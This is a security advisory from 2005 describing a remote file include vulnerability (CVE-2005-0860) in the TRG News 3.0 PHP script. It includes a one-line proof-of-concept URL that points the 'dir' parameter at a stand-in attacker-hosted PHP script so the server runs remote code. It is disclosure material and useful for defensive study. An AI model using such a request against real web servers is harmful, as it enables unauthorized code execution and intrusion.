TRG News Script Remote File Include Vulnerability

BID:12855

Info

TRG News Script Remote File Include Vulnerability

Bugtraq ID: 12855
Class: Input Validation Error
CVE: CVE-2005-0860
Remote: Yes
Local: No
Published: Mar 21 2005 12:00AM
Updated: Jul 12 2009 10:56AM
Credit: Frank_Reiner <[email protected]> is credited with the discovery of this issue.
Vulnerable: The Rusted Gate TRG News 3.0
Not Vulnerable:

Discussion

TRG News Script Remote File Include Vulnerability

A remote file include vulnerability affects TRG News. This issue is due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical functionality.

Remote attackers could potentially exploit this issue to include a remote, malicious PHP script. Execution of remote scripts would take place in the context of the Web server hosting the vulnerable application. This will facilitate unauthorized access.

Exploit / POC

TRG News Script Remote File Include Vulnerability

No exploit is required to leverage this issue. The following proof of concept has been provided:

http://www.example.com/trg_news30/trgnews/install/article.php?dir=http://www.example.org/attackerScript.php

Solution / Fix

TRG News Script Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

TRG News Script Remote File Include Vulnerability

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